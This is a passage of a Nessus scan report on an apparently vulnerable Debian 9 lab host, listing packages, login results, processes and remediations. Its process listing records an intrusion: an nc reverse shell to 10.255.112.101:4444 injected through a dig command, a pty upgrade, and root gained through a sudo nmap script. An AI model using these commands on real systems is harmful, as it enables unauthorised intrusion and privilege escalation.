ii powermgmt-base 1.31+nmu1 all Common utils and configs for power management
ii procps 2:3.3.12-3+deb9u1 amd64 /proc file system utilities
ii psmisc 22.21-2.1+b2 amd64 utilities that use the proc file system
ii python 2.7.13-2 amd64 interactive high-level object-oriented language (default version)
ii python-apt-common 1.4.0~beta3 all Python interface to libapt-pkg (locales)
ii python-bs4 4.5.3-1 all error-tolerant HTML parser for Python
ii python-chardet 2.3.0-2 all universal character encoding detector for Python2
ii python-html5lib 0.999999999-1 all HTML parser/tokenizer based on the WHATWG HTML5 specification
ii python-lxml 3.7.1-1 amd64 pythonic binding for the libxml2 and libxslt libraries
ii python-minimal 2.7.13-2 amd64 minimal subset of the Python language (default version)
ii python-pkg-resources 33.1.1-1 all Package Discovery and Resource Access using pkg_resources
ii python-six 1.10.0-3 all Python 2 and 3 compatibility library (Python 2 interface)
ii python-webencodings 0.5-2 all Python implementation of the WHATWG Encoding standard
ii python2.7 2.7.13-2+deb9u3 amd64 Interactive high-level object-oriented language (version 2.7)
ii python2.7-minimal 2.7.13-2+deb9u3 amd64 Minimal subset of the Python language (version 2.7)
ii python3 3.5.3-1 amd64 interactive high-level object-oriented language (default python3 version)
ii python3-apt 1.4.0~beta3 amd64 Python 3 interface to libapt-pkg
ii python3-chardet 2.3.0-2 all universal character encoding detector for Python3
ii python3-debian 0.1.30 all Python 3 modules to work with Debian-related data formats
ii python3-debianbts 2.6.1 all Python interface to Debian's Bug Tracking System
ii python3-httplib2 0.9.2+dfsg-1 all comprehensive HTTP client library written for Python3
ii python3-minimal 3.5.3-1 amd64 minimal subset of the Python language (default python3 version)
ii python3-pkg-resources 33.1.1-1 all Package Discovery and Resource Access using pkg_resources
ii python3-pycurl 7.43.0-2 amd64 Python bindings to libcurl (Python 3)
ii python3-pysimplesoap 1.16-2 all simple and lightweight SOAP Library (Python 3)
ii python3-reportbug 7.1.7+deb9u2 all Python modules for interacting with bug tracking systems
ii python3-requests 2.12.4-1 all elegant and simple HTTP library for Python3, built for human beings
ii python3-six 1.10.0-3 all Python 2 and 3 compatibility library (Python 3 interface)
ii python3-urllib3 1.19.1-1 all HTTP library with thread-safe connection pooling for Python3
ii python3.5 3.5.3-1+deb9u1 amd64 Interactive high-level object-oriented language (version 3.5)
ii python3.5-minimal 3.5.3-1+deb9u1 amd64 Minimal subset of the Python language (version 3.5)
ii readline-common 7.0-3 all GNU readline and history libraries, common files
ii rename 0.20-4 all Perl extension for renaming multiple files
ii reportbug 7.1.7+deb9u2 all reports bugs in the Debian distribution
ii rsync 3.1.2-1+deb9u1 amd64 fast, versatile, remote (and local) file-copying tool
ii rsyslog 8.24.0-1 amd64 reliable system and kernel logging daemon
ii sed 4.4-1 amd64 GNU stream editor for filtering/transforming text
ii sensible-utils 0.0.9+deb9u1 all Utilities for sensible alternative selection
```

```
ii sgml-base 1.29 all SGML infrastructure and SGML catalog file support
ii shared-mime-info 1.8-1+deb9u1 amd64 FreeDesktop.org shared MIME database and spec
ii socat 1.7.3.1-2+deb9u1 amd64 multipurpose relay for bidirectional data transfer
ii ssl-cert 1.0.39 all simple debconf wrapper for OpenSSL
ii sudo 1.8.19p1-2.1 amd64 Provide limited super user privileges to specific users
ii systemd 232-25+deb9u11 amd64 system and service manager
ii systemd-sysv 232-25+deb9u11 amd64 system and service manager - SysV links
ii sysvinit-utils 2.88dsf-59.9 amd64 System-V-like utilities
ii tar 1.29b-1.1 amd64 GNU version of the tar archiving utility
ii task-english 3.39 all General English environment
ii task-ssh-server 3.39 all SSH server
ii tasksel 3.39 all tool for selecting tasks for installation on Debian systems
ii tasksel-data 3.39 all official tasks used for installation of Debian systems
ii tcpd 7.6.q-26 amd64 Wietse Venema's TCP wrapper utilities
ii telnet 0.17-41 amd64 basic telnet client
ii traceroute 1:2.1.0-2 amd64 Traces the route taken by packets over an IPv4/IPv6 network
ii tzdata 2019a-0+deb9u1 all time zone and daylight-saving time data
ii ucf 3.0036 all Update Configuration File(s): preserve user changes to config files
ii udev 232-25+deb9u11 amd64 /dev/ and hotplug management daemon
ii unzip 6.0-21 amd64 De-archiver for .zip files
ii usbutils 1:007-4+b1 amd64 Linux USB utilities
ii util-linux 2.29.2-1+deb9u1 amd64 miscellaneous system utilities
ii util-linux-locales 2.29.2-1+deb9u1 all locales files for util-linux
ii vim-common 2:8.0.0197-4+deb9u1 all Vi IMproved - Common files
ii vim-tiny 2:8.0.0197-4+deb9u1 amd64 Vi IMproved - enhanced vi editor - compact version
ii wamerican 7.1-1 all American English dictionary words for /usr/share/dict
ii wget 1.18-5+deb9u3 amd64 retrieves files from the web
ii whiptail 0.52.19-1+b1 amd64 Displays user-friendly dialog boxes from shell scripts
ii xauth 1:1.0.9-1+b2 amd64 X authentication utility
ii xdg-user-dirs 0.15-2+b1 amd64 tool to manage well known user directories
ii xkb-data 2.19-1+deb9u1 all X Keyboard Extension (XKB) configuration data
ii xml-core 0.17 all XML infrastructure and XML catalog file support
ii xxd 2:8.0.0197-4+deb9u1 amd64 tool to make (or reverse) a hex dump
ii xz-utils 5.2.2-1.2+b1 amd64 XZ-format compression utilities
ii zip 3.0-11+b1 amd64 Archiver for .zip files
ii zlib1g 1:1.2.8.dfsg-5 amd64 compression library - runtime
```

25220 - TCP/IP Timestamps Supported -

Synopsis

The remote service implements TCP timestamps.

Description

The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.

See Also

http://www.ietf.org/rfc/rfc1323.txt

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2023/10/17

Plugin Output

tcp/0

110385 - Target Credential Issues by Authentication Protocol - Insufficient Privilege -

Synopsis

Nessus was able to log in to the remote host using the provided credentials. The provided credentials were not sufficient to complete all requested checks.

Description

Nessus was able to execute credentialed checks because it was possible to log in to the remote host using provided credentials, however the credentials were not sufficiently privileged to complete all requested checks.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0502

Plugin Information

Published: 2018/06/06, Modified: 2024/03/25

Plugin Output

tcp/22/ssh

```
Nessus was able to log into the remote host, however this credential
did not have sufficient privileges for all planned checks :

User: 'jens'
Port: 22
Proto: SSH
Method: password


See the output of the following plugin for details :

Plugin ID : 102094
Plugin Name : SSH Commands Require Privilege Escalation
```

117885 - Target Credential Issues by Authentication Protocol - Intermittent Authentication Failure -

Synopsis

Nessus was able to log in to the remote host using the provided credentials, but there were intermittent authentication failures.

Description

Nessus was able to successfully authenticate to the remote host on an authentication protocol at least once using credentials provided in the scan policy.

However, one or more plugins failed to authenticate to the remote host on the same port and protocol using the same credential set that was previously successful. This may indicate an intermittent authentication problem with the remote host, which could be caused by session rate limits, session concurrency limits, or other issues preventing consistent authentication success.

These intermittent authentication failures may have affected the results of some plugins. See plugin output for failure details.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0509

Plugin Information

Published: 2018/10/02, Modified: 2024/03/25

Plugin Output

tcp/22/ssh

```
Nessus was able to successfully log into the remote host as :

User: 'jens'
Port: 22
Proto: SSH
Method: password


Successful authentication was reported by the following plugin :

Plugin : ssh_rate_limiting.nasl
Plugin ID : 122501
Plugin Name : SSH Rate Limited Device

However, one or more subsequent plugins failed to authenticate to the
remote host on the same port and protocol using the same credential
set that previously succeeded. This may indicate an intermittent
authentication problem with the remote host which may have affected
```

the results of the following plugins.

Error message statistics :

1 open_connection() failed on previously successful connection: No remote version received

1 Authentication failed on previously successful connection: Did not receive SERVICE_ACCEPT for ssh-userauth authentication.

23 open_connection() failed on previously successful connection: Failed to open a socket on port 22.

Failure Details :

- Plugin : eas_default_key.nasl
Plugin ID : 69471
Plugin Name : Multiple Vendors EAS Authentication Bypass
Message :
open_connection() failed on previously successful connection: No remote version received

- Plugin : dhcp_detect.nbin
Plugin ID : 106203
Plugin Name : DHCP server Detection (Linux)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : dell_emc_data_protection_central_nix_installed.nbin
Plugin ID : 136341
Plugin Name : Dell EMC Data Protection Central Installed (Linux)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : cyberpanel_nix_installed.nbin
Plugin ID : 214807
Plugin Name : CyberPanel Installed (Linux)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : cisco_wcs_installed_linux.nasl
Plugin ID : 69130
Plugin Name : Cisco Wireless Control System Installed (Linux)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : cisco_prime_dcnm_installed_linux.nasl
Plugin ID : 67244
Plugin Name : Cisco Prime Data Center Network Manager Installed (Linux)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : cisco_mse_installed.nbin
Plugin ID : 86913
Plugin Name : Cisco Mobility Services Engine Detection
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : cisco_nac_version.nasl
Plugin ID : 69788
Plugin Name : Cisco Network Admission Control (NAC) Version
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : sophos_av_nix_installed.nbin
Plugin ID : 133962
Plugin Name : Sophos Anti-Virus Installed (Linux)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : tivoli_access_manager_ebiz_installed_components_cred.nasl
Plugin ID : 70138
Plugin Name : IBM Tivoli Access Manager for e-Business / IBM Security Access Manager for Web Installed Components
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : ip_routing_nix.nasl
Plugin ID : 179200
Plugin Name : Enumerate the Network Routing configuration via SSH
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : hp_arcsight_esm_installed.nbin
Plugin ID : 82849
Plugin Name : ArcSight Enterprise Security Management (ESM) Installed
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.

- Plugin : enumerate_path_var.nbin
Plugin ID : 168980

```
Plugin Name : Enumerate the PATH Variables
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : bios_get_info_ssh.nasl
Plugin ID : 34098
Plugin Name : BIOS Info (SSH)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : super_micro_dmi_lspci_nix_detect.nbin
Plugin ID : 118225
Plugin Name : Super Micro detection (dmidecode)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : enumerate_aws_ami_nix.nasl
Plugin ID : 90191
Plugin Name : Amazon Web Services EC2 Instance Metadata Enumeration (Unix)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : restart_required.nasl
Plugin ID : 163103
Plugin Name : System Restart Required
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : ip_assignment_method.nbin
Plugin ID : 171410
Plugin Name : IP Assignment Method Detection
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : f5_bigip_next_central_manager_nix_installed.nbin
Plugin ID : 195201
Plugin Name : F5 BIG-IP Next Central Manager Installed (Linux)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : dell_repository_manager_nix_installed.nbin
Plugin ID : 194739
Plugin Name : Dell Repository Manager Installed (Linux)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : bpfdoor_local_detect.nbin
Plugin ID : 161476
Plugin Name : Potential Exposure to BPFDoor (Local Check - Linux)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : bash_cve_2014_7169.nasl
Plugin ID : 78385
Plugin Name : Bash Incomplete Fix Remote Code Execution Vulnerability (Shellshock)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : bash_remote_code_execution.nasl
Plugin ID : 77823
Plugin Name : Bash Remote Code Execution (Shellshock)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : linux_cve-2021-3156.nbin
Plugin ID : 146799
Plugin Name : Linux Sudo Privilege Escalation (Out-of-bounds Write)
Message :
open_connection() failed on previously successful connection: Failed to open a socket on port 22.


- Plugin : nessus_agent_installed_linux.nbin
Plugin ID : 110230
Plugin Name : Tenable Nessus Agent Installed (Linux)
Message :
Authentication failed on previously successful connection: Did not receive SERVICE_ACCEPT for ssh-userauth authentication.
```

141118 - Target Credential Status by Authentication Protocol - Valid Credentials Provided -

Synopsis

Valid credentials were provided for an available authentication protocol.

Description

Nessus was able to determine that valid credentials were provided for an authentication protocol available on the remote target because it was able to successfully authenticate directly to the remote target using that authentication protocol at least once. Authentication was successful because the authentication protocol service was available remotely, the service was able to be identified, the authentication protocol was able to be negotiated successfully, and a set of credentials provided in the scan policy for that authentication protocol was accepted by the remote service. See plugin output for details, including protocol, port, and account.

Please note the following :

- This plugin reports per protocol, so it is possible for valid credentials to be provided for one protocol and not another. For example, authentication may succeed via SSH but fail via SMB, while no credentials were provided for an available SNMP service.

- Providing valid credentials for all available authentication protocols may improve scan coverage, but the value of successful authentication for a given protocol may vary from target to target depending upon what data (if any) is gathered from the target via that protocol. For example, successful authentication via SSH is more valuable for Linux targets than for Windows targets, and likewise successful authentication via SMB is more valuable for Windows targets than for Linux targets.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/10/15, Modified: 2024/03/25

Plugin Output

tcp/22/ssh

```
Nessus was able to log in to the remote host via the following :

User: 'jens'
Port: 22
Proto: SSH
Method: password
```

56468 - Time of Last System Startup -

Synopsis

The system has been started.

Description

Using the supplied credentials, Nessus was able to determine when the host was last started.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/10/12, Modified: 2018/06/19

Plugin Output

tcp/0

```
reboot system boot 4.9.0-8-amd64 Tue Nov 11 22:24 still running
reboot system boot 4.9.0-8-amd64 Mon Nov 10 21:41 still running
reboot system boot 4.9.0-8-amd64 Fri Apr 26 13:15 - 13:31 (00:15)
reboot system boot 4.9.0-8-amd64 Fri Apr 26 02:23 - 02:24 (00:01)
reboot system boot 4.9.0-8-amd64 Fri Apr 26 01:18 - 02:22 (01:03)
reboot system boot 4.9.0-8-amd64 Wed Apr 24 20:38 - 23:09 (02:30)
reboot system boot 4.9.0-8-amd64 Wed Apr 24 17:25 - 18:35 (01:09)
reboot system boot 4.9.0-8-amd64 Wed Apr 24 17:09 - 17:14 (00:05)
reboot system boot 4.9.0-8-amd64 Wed Apr 24 15:50 - 15:53 (00:02)

wtmp begins Wed Apr 24 15:50:47 2019
```

10287 - Traceroute Information -

Synopsis

It was possible to obtain traceroute information.

Description

Makes a traceroute to the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/11/27, Modified: 2023/12/04

Plugin Output

udp/0

```
For your information, here is the traceroute from 10.255.112.33 to 10.255.112.211 :
10.255.112.33
10.255.112.211

Hop Count: 1
```

192709 - Tukaani XZ Utils Installed (Linux / Unix) -

Synopsis

Tukaani XZ Utils is installed on the remote Linux / Unix host.

Description

Tukaani XZ Utils is installed on the remote Linux / Unix host.

XZ Utils consists of several components, including:
- liblzma
- xz

Additional information:

- More paths will be searched and the timeout for the search will be increased if 'Perform thorough tests' setting is enabled.

- The plugin timeout can be set to a custom value other than the plugin's default of 30 minutes via the 'timeout.192709' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

See Also

https://xz.tukaani.org/xz-utils/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2024/03/29, Modified: 2025/07/28

Plugin Output

tcp/0

```
Nessus detected 2 installs of XZ Utils:

Path : /usr/bin/xz
Version : 5.2.2
Associated Package : xz-utils 5.2.2-1.2
```

```
Confidence : High
Managed by OS : True
Version Source : Package

Path : /lib/x86_64-linux-gnu/liblzma.so.5.2.2
Version : 5.2.2
Associated Package : liblzma5 5.2.2-1.2
Confidence : High
Managed by OS : True
Version Source : Package
```

110483 - Unix / Linux Running Processes Information -

Synopsis

Uses /bin/ps auxww command to obtain the list of running processes on the target machine at scan time.

Description

Generated report details the running processes on the target machine at scan time.
This plugin is informative only and could be used for forensic investigation, malware detection, and to confirm that your system processes conform to your system policies.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/06/12, Modified: 2023/11/27

Plugin Output

tcp/0

```
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.6 138868 6736 ? Ss Nov11 0:02 /sbin/init
root 2 0.0 0.0 0 0 ? S Nov11 0:00 [kthreadd]
root 3 0.1 0.0 0 0 ? S Nov11 0:19 [ksoftirqd/0]
root 5 0.0 0.0 0 0 ? S< Nov11 0:00 [kworker/0:0H]
root 7 0.0 0.0 0 0 ? S Nov11 0:02 [rcu_sched]
root 8 0.0 0.0 0 0 ? S Nov11 0:00 [rcu_bh]
root 9 0.0 0.0 0 0 ? S Nov11 0:00 [migration/0]
root 10 0.0 0.0 0 0 ? S< Nov11 0:00 [lru-add-drain]
root 11 0.0 0.0 0 0 ? S Nov11 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S Nov11 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S Nov11 0:00 [kdevtmpfs]
root 14 0.0 0.0 0 0 ? S< Nov11 0:00 [netns]
root 15 0.0 0.0 0 0 ? S Nov11 0:00 [khungtaskd]
root 16 0.0 0.0 0 0 ? S Nov11 0:00 [oom_reaper]
root 17 0.0 0.0 0 0 ? S< Nov11 0:00 [writeback]
root 18 0.0 0.0 0 0 ? S Nov11 0:00 [kcompactd0]
root 19 0.0 0.0 0 0 ? SN Nov11 0:00 [ksmd]
root 21 0.0 0.0 0 0 ? SN Nov11 0:00 [khugepaged]
root 22 0.0 0.0 0 0 ? S< Nov11 0:00 [crypto]
root 23 0.0 0.0 0 0 ? S< Nov11 0:00 [kintegrityd]
root 24 0.0 0.0 0 0 ? S< Nov11 0:00 [bioset]
root 25 0.0 0.0 0 0 ? S< Nov11 0:00 [kblockd]
root 26 0.0 0.0 0 0 ? S< Nov11 0:00 [devfreq_wq]
root 27 0.0 0.0 0 0 ? S< Nov11 0:00 [watchdogd]
root 28 0.0 0.0 0 0 ? S Nov11 0:00 [kswapd0]
root 29 0.0 0.0 0 0 ? S< Nov11 0:00 [vmstat]
root 41 0.0 0.0 0 0 ? S< Nov11 0:00 [kthrotld]
root 42 0.0 0.0 0 0 ? S< Nov11 0:00 [ipv6_addrconf]
root 86 0.0 0.0 0 0 ? S< Nov11 0:00 [ata_sff]
root 103 0.0 0.0 0 0 ? S Nov11 0:00 [scsi_eh_0]
root 104 0.0 0.0 0 0 ? S< Nov11 0:00 [scsi_tmf_0]
root 105 0.0 0.0 0 0 ? S Nov11 0:00 [scsi_eh_1]
root 106 0.0 0.0 0 0 ? S< Nov11 0:00 [scsi_tmf_1]
root 108 0.0 0.0 0 0 ? S Nov11 0:00 [scsi_eh_2]
root 109 0.0 0.0 0 0 ? S< Nov11 0:00 [scsi_tmf_2]
root 111 0.0 0.0 0 0 ? S< Nov11 0:00 [bioset]
root 112 0.0 0.0 0 0 ? S< Nov11 0:00 [bioset]
root 114 0.0 0.0 0 0 ? S< Nov11 0:01 [kworker/0:1H]
root 142 0.0 0.0 0 0 ? S< Nov11 0:00 [kworker/u3:0]
root 156 0.0 0.0 0 0 ? S Nov11 0:01 [jbd2/sda1-8]
root 157 0.0 0.0 0 0 ? S< Nov11 0:00 [ext4-rsv-conver]
root 184 0.0 0.5 56848 5252 ? Ss Nov11 0:01 /lib/systemd/systemd-journald
root 192 0.0 0.0 0 0 ? S Nov11 0:00 [kauditd]
root 204 0.0 0.3 45548 3764 ? Ss Nov11 0:00 /lib/systemd/systemd-udevd
systemd+ 319 0.0 0.4 127284 4204 ? Ssl Nov11 0:00 /lib/systemd/systemd-timesyncd
root 325 0.0 0.4 46496 4860 ? Ss Nov11 0:00 /lib/systemd/systemd-logind
message+ 326 0.0 0.3 45128 3916 ? Ss Nov11 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-
activation
root 330 0.0 0.2 29664 2884 ? Ss Nov11 0:00 /usr/sbin/cron -f
root 331 0.0 0.3 250112 3228 ? Ssl Nov11 0:00 /usr/sbin/rsyslogd -n
```

```
root 370 0.0 0.3 67752 3344 tty1 Ss Nov11 0:00 /bin/login --
root 403 0.0 0.6 69952 6192 ? Ss Nov11 0:00 /usr/sbin/sshd -D
root 405 0.0 3.3 395552 34604 ? Ss Nov11 0:01 /usr/sbin/apache2 -k start
root 406 0.0 0.2 20352 2940 ? Ss Nov11 0:00 /sbin/dhclient -4 -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -
I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
www-data 487 0.0 4.6 478064 47952 ? S Nov11 0:05 /usr/sbin/apache2 -k start
www-data 492 0.0 3.9 546652 40572 ? S Nov11 0:08 /usr/sbin/apache2 -k start
mysql 508 0.2 9.7 656608 99284 ? Ssl Nov11 0:30 /usr/sbin/mysqld
www-data 702 0.0 3.9 473160 40088 ? S Nov11 0:04 /usr/sbin/apache2 -k start
www-data 739 0.0 4.5 474952 45992 ? S Nov11 0:04 /usr/sbin/apache2 -k start
www-data 746 0.0 4.2 475052 43516 ? S Nov11 0:03 /usr/sbin/apache2 -k start
root 809 0.0 0.0 0 0 ? S Nov11 0:00 [kworker/u2:0]
www-data 866 0.0 0.0 4276 792 ? S 00:03 0:00 sh -c dig -x google.com.tr | nc 10.255.112.101 4444 -e /bin/bash
www-data 868 0.0 0.2 17940 2888 ? S 00:03 0:00 bash
www-data 871 0.0 0.8 35904 8496 ? S 00:05 0:01 python3 -c import pty; pty.spawn("/bin/bash")
www-data 872 0.0 0.3 18192 3324 pts/0 Ss 00:05 0:00 /bin/bash
root 952 0.0 0.2 49204 2952 pts/0 S 00:11 0:00 su graham
graham 953 0.0 0.6 64840 6236 ? Ss 00:11 0:00 /lib/systemd/systemd --user
graham 954 0.0 0.1 164288 1508 ? S 00:11 0:00 (sd-pam)
graham 956 0.0 0.5 20948 5172 pts/0 S 00:11 0:00 bash
root 990 0.0 0.3 49252 3792 pts/0 S 00:24 0:00 sudo -u jens /home/jens/backups.sh
jens 991 0.0 0.2 11172 2964 pts/0 S 00:24 0:00 /bin/bash /home/jens/backups.sh
jens 995 0.0 0.5 21016 5240 pts/0 S 00:24 0:00 /bin/bash
root 1130 0.0 0.3 49252 3756 pts/0 S 00:39 0:00 sudo /usr/bin/nmap --script=/var/tmp/hackedroot.nse
root 1131 0.0 2.4 69912 24688 pts/0 S 00:39 0:00 /usr/bin/nmap --script=/var/tmp/hackedroot.nse
root 1132 0.0 0.0 4276 748 pts/0 S 00:39 0:00 sh -c /bin/bash
root 1133 0.0 0.3 19860 3676 pts/0 S 00:39 0:00 /bin/bash
root 1151 0.0 0.2 20572 2412 pts/0 S+ 00:45 0:00 script /dev/null -c bash
root 1152 0.0 0.3 19860 3844 pts/1 Ss 00:45 0:00 bash
root 1155 0.0 0.0 5968 668 pts/1 S+ 00:45 0:00 cat
root 1216 0.0 0.5 56392 6092 ? Ss 01:01 0:00 /lib/systemd/systemd --user
root 1218 0.0 0.1 164288 1508 ? S 01:01 0:00 (sd-pam)
root 1220 0.0 0.4 20948 4932 tty1 S+ 01:01 0:00 -bash
root 1232 0.0 0.0 0 0 ? S 01:02 0:00 [kworker/u2:2]
root 1373 0.1 0.0 0 0 ? S 01:11 0:00 [kworker/0:1]
root 1374 0.0 0.0 0 0 ? S 01:16 0:00 [kworker/0:2]
www-data 1379 1.6 3.7 472828 37880 ? S 01:21 0:03 /usr/sbin/apache2 -k start
root 1382 0.0 0.0 0 0 ? S 01:21 0:00 [kworker/0:0]
www-data 1388 1.5 3.7 472872 37852 ? S 01:21 0:02 /usr/sbin/apache2 -k start
www-data 1390 1.6 3.7 473012 38164 ? S 01:21 0:03 /usr/sbin/apache2 -k start
www-data 1417 1.8 3.6 472756 37492 ? S 01:21 0:02 /usr/sbin/apache2 -k start
www-data 1418 1.8 3.7 472752 38136 ? S 01:21 0:02 /usr/sbin/apache2 -k start
www-data 1419 1.4 3.6 472768 37700 ? S 01:21 0:02 /usr/sbin/apache2 -k start
www-data 1421 1.3 3.8 472760 39420 ? S 01:21 0:02 /usr/sbin/apache2 -k start
www-data 1424 2.0 3.7 473020 38020 ? S 01:21 0:03 /usr/sbin/apache2 -k start
www-data 1428 1.3 3.9 472716 39848 ? S 01:21 0:02 /usr/sbin/apache2 -k start
www-data 1430 1.6 3.8 472620 39656 ? S 01:21 0:02 /usr/sbin/apache2 -k start
root 1433 0.0 0.0 0 0 ? S 01:21 0:00 [kworker/0:3]
root 1439 0.0 0.0 0 0 ? S 01:21 0:00 [kworker/0:4]
root 1456 0.0 0.0 0 0 ? S 01:21 0:00 [kworker/0:5]
root 1476 0.0 0.0 0 0 ? S 01:21 0:00 [kworker/0:6]
www-data 1628 2.0 3.0 396708 30948 ? S 01:22 0:02 /usr/sbin/apache2 -k start
www-data 1736 1.6 2.9 396560 30556 ? S 01:23 0:01 /usr/sbin/apache2 -k start
www-data 1739 0.6 2.9 396916 30564 ? S 01:23 0:00 /usr/sbin/apache2 -k start
www-data 1740 1.3 2.8 396548 28992 ? S 01:23 0:00 /usr/sbin/apache2 -k start
www-data 1742 1.5 2.8 396900 29076 ? S 01:23 0:00 /usr/sbin/apache2 -k start
root 1782 0.0 0.2 37800 2104 ? Ss 01:24 0:00 /lib/systemd/systemd-timedated
root 2371 0.0 0.6 95208 6880 ? Ss 01:24 0:00 sshd: jens [priv]
root 2372 1.0 0.6 95208 6904 ? Ss 01:24 0:00 sshd: jens [priv]
root 2373 0.0 0.6 95208 7016 ? Ss 01:24 0:00 sshd: jens [priv]
root 2374 1.0 0.6 95208 6864 ? Ss 01:24 0:00 sshd: jens [priv]
jens 2379 0.0 0.6 64836 6276 ? Ss 01:24 0:00 /lib/systemd/systemd --user
jens 2380 0.0 0.1 164392 1520 ? S 01:24 0:00 (sd-pam)
jens 2395 0.0 0.5 95380 5204 ? S 01:24 0:00 sshd: jens@notty
jens 2398 0.0 0.5 95380 5172 ? S 01:24 0:00 sshd: jens@notty
jens 2400 0.0 0.4 95380 5076 ? S 01:24 0:00 sshd: jens@notty
jens 2402 0.0 0.5 95380 5276 ? S 01:24 0:00 sshd: jens@notty
jens 2406 0.0 0.2 11164 2972 ? Ss 01:24 0:00 bash -c /bin/ps auxww 2>/dev/null
jens 2407 0.0 0.3 38304 3312 ? R 01:24 0:00 /bin/ps auxww
```

152743 - Unix Software Discovery Commands Not Available -

Synopsis

Nessus was able to log in to the remote host using the provided credentials, but encountered difficulty running commands used to find unmanaged software.

Description

Nessus found problems running commands on the target host which are used to find software that is not managed by the operating system.
Details of the issues encountered are reported by this plugin.

Failure to properly execute commands used to find and characterize unmanaged software on the target host can lead to scans that do not report known vulnerabilities. There may be little in the scan results of unmanaged software plugins to indicate the missing availability of the source commands except audit trail messages.

Commands used to find unmanaged software installations might fail for a variety of reasons, including:

* Inadequate scan user permissions,
* Failed privilege escalation,
* Intermittent network disruption, or

* Missing or corrupt executables on the target host.

Please address the issues reported here and redo the scan.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/08/23, Modified: 2021/08/23

Plugin Output

tcp/0

```
Failures in commands used to assess Unix software:

strings -v :
bash: strings: command not found


Account : jens
Protocol : SSH
```

189731 - Vim Installed (Linux) -

Synopsis

Vim is installed on the remote Linux host.

Description

Vim is installed on the remote Linux host.

See Also

https://www.vim.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2024/01/29, Modified: 2025/07/28

Plugin Output

tcp/0

```
Path : /usr/bin/vim.tiny
Version : 8.0
```

182848 - libcurl Installed (Linux / Unix) -

Synopsis

libcurl is installed on the remote Linux / Unix host.

Description

libcurl is installed on the remote Linux / Unix host.

Additional information:

- More paths will be searched and the timeout for the search will be increased if 'Perform thorough tests' setting is enabled.

- The plugin timeout can be set to a custom value other than the plugin's default of 30 minutes via the 'timeout.182848' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

See Also

https://curl.se/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/10/10, Modified: 2025/07/28

Plugin Output

tcp/0

```
Nessus detected 2 installs of libcurl:

Path : /usr/lib/x86_64-linux-gnu/libcurl.so.4.4.0
Version : 7.52.1
Associated Package : libcurl3 7.52.1-5
Managed by OS : True

Path : /usr/lib/x86_64-linux-gnu/libcurl-gnutls.so.4.4.0
Version : 7.52.1
Associated Package : libcurl3-gnutls 7.52.1-5
Managed by OS : True
```

Compliance 'FAILED'

Compliance 'SKIPPED'

Compliance 'PASSED'

Compliance 'INFO', 'WARNING', 'ERROR'

Remediations

Suggested Remediations

Taking the following actions across 1 hosts would resolve 97% of the vulnerabilities on the network.

Action to take	Vulns	Hosts
Debian DLA-3065-1 : linux - LTS security update: Upgrade the linux packages. For Debian 9 stretch, these problems have been fixed in version 4.9.320-2.	162	1
Debian DLA-3007-1 : imagemagick - LTS security update: Upgrade the imagemagick packages. For Debian 9 stretch, these problems have been fixed in version 8	120	1

Debian DSA-4698-1 : linux - security update: Upgrade the linux packages. For the oldstable distribution (stretch), these problems have been fixed in version 4.9.210-1+deb9u1. This version also fixes some related bugs that do not have their own CVE IDs, and a regression in the macvlan driver introduced in the previous point release (bug #952660).	74	1
Debian DLA-2732-1 : openexr - LTS security update: Upgrade the openexr packages. For Debian 9 stretch, these problems have been fixed in version 2.2.0-11+deb9u4.	36	1
Debian DLA-2989-1 : ghostscript - LTS security update: Upgrade the ghostscript packages. For Debian 9 stretch, this problem has been fixed in version 9.26a~dfsg-0+deb9u9.	35	1
